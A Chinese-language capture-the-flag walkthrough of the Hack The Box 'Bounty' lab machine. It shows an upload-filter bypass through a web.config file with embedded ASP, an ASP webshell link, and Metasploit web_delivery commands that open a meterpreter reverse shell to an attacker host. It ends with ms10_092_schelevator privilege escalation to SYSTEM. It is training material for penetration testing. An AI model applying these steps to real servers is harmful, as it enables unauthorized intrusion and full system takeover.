导语:今天,我们的CTF靶机是bounty。这个靶机来自hack the box漏洞实验室。他们有很多的ctf靶机,渗透测试人员可以进行在线测试,从初级水平到专业级别的靶机都有。
今天,我们的CTF靶机是bounty。这个靶机来自hack the box漏洞实验室。他们有很多的ctf靶机,渗透测试人员可以进行在线测试,从初级水平到专业级别的靶机都有。
我们这个靶机的等级属于中级。靶机的任务是找到user.txt和root.txt文件。
注意:因为这些实验都可以进行在线测试,所以他们都有一个静态IP,Bounty靶机的IP是10.10.10.93。
通关攻略
首先,肯定是扫描神器Nmap开路,用基本的nmap命令来探测开放的端口和服务:
nmap -A 10.10.10.93
从扫描结果可以看到开启了80端口,运行的服务是IIS7.5.
我们来访问一下80端口,在浏览器地址栏中输入IP地址后,我们可以看到下面这个页面:
页面只有一个图片,并没有什么有价值的信息,接着我们使用Dirbuster工具来进行目录遍历,如图
这里我们使用的字典是directory-list-2.3-medium.txt来进行web目录遍历。
不出所料,很快就有了响应,可以看到存在transfer.aspx文件和uploadedFiles目录,如图:
OK,我们在浏览器中访问一下transfer.aspx这个文件,于是我们得到了一个新的页面,这个页面可以进行文件上传,如图:
我们尝试了很多次进行上传文件,但是每次都上传失败,并且提示:invalid file please try again(上传文件无效,请重新尝试),如图所示:
尝试了多次并且失败后,我便去Google查找了一番,搜索“IIS 7.5 rce upload”,发现了一篇文章,在这篇文章中,我们了解到了web.config文件,它在IIS7.0(或更高版本中)存储着非常重要的配置信息,跟Apache服务器的.htaccess文件非常类似。上传.htaccess文件来绕过文件上传的防御是一种常用的套路。
读了上面的文章后,我们写了一段简单的asp代码并将代码插入web.config文件的后面,这段代码的意思是返回1+2的值,如图:
现在我们再来上传这个web.config文件,可以看到web.config文件已经成功上传,刚才目录遍历出来一个uploadedFiles目录,我们可以猜想上传的文件就在这个目录下,我们可以验证一下,如图:
访问该目录下的web.config文件,得以执行,返回结果3,如图:
既然可以执行,那么我们就可以在这个文件中注入恶意代码来实现RCE漏洞。
在网上找了一番,找到了ASP的webshell,网址是https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp
把这个ASP webshell的整个内容复制到web.config文件中,然后上传,如图:
上传的web.config文件执行之后,就会创建一个表单,在这个表单中输入命令就可以实现远程命令执行了,如图所示:
不过,这里我们将执行metasploit的web delivery模块生成的powershell代码,利用过程如下:
msf use exploit/multi/script/web_delivery msf exploit(multi/script/web_delivery) set srvhost 10.10.14.2 msf exploit(multi/script/web_delivery) set target 2 msf exploit(multi/script/web_delivery) set payload window/x64/meterpreter/reverse_tcp msf exploit(multi/script/web_delivery) set lhost 10.10.14.2 msf exploit(multi/script/web_delivery) run
执行之后我们就可以得到一个meterpreter会话了,如图所示:
非常棒,既然获得了受害主机的meterpreter会话,那我们就可以查看user.txt来完成第一个任务了。
最终,我们在/users/merlin/Desktop目录中找到了user.txt文件,如图:
下一步就是要找到root.txt文件了,不过要查看这个文件,通常需要进行提权。
这里我们可以利用后渗透利用模块“Multi Recon Local Exploit Suggester”,这个模块会告诉我们可以进一步渗透攻击的meterpreter exp。这些exp是基于目标主机的架构和使用平台推荐的本地可用的exp。执行下列命令:
use post/multi/recon/local_exploit_suggester msf post(multi/recon/local_exploit_suggester) > set session 1 msf post(multi/recon/local_exploit_suggester) > exploit
结果如图:
非常不错,这个脚本非常有用,显示了目标主机存在的漏洞和相对应的exp。接下来,我们就来试一下图中框起来的第一个exp。
这个漏洞是关于计划任务的,导致可以进行提权。这个利用模块已经在存在漏洞的Windows Vista Windows7和Windows server 2008 x64和x86上测试过了有效。利用起来也比较简单,只要进行如下设置即可:
use exploit/windows/local/ms10_092_schelevator msf post(windows/local/ms10_092_schelevator) > set lhost 10.10.14.2 msf post(windows/local/ms10_092_schelevator) > set lport 5555 msf post(windows/local/ms10_092_schelevator) > set session 1 msf post(windows/local/ms10_092_schelevator) > exploit
如图:
执行之后就获得了另一个meterpreter会话,现在我们来看看提权的情况,执行下面两条命令:
getsystem getuid
结果如图:
可以看到现在的系统用户是NTAUTHORITY\SYSTEM,已经是最高权限了,提权成功。
接下来就好说了,查看root.txt文件的内容,这个就没什么好说的了,自己找一下就OK,本次靶机root.txt文件就在Desktop上,如图:
好了,本次靶机到此结束,希望大家有所收获!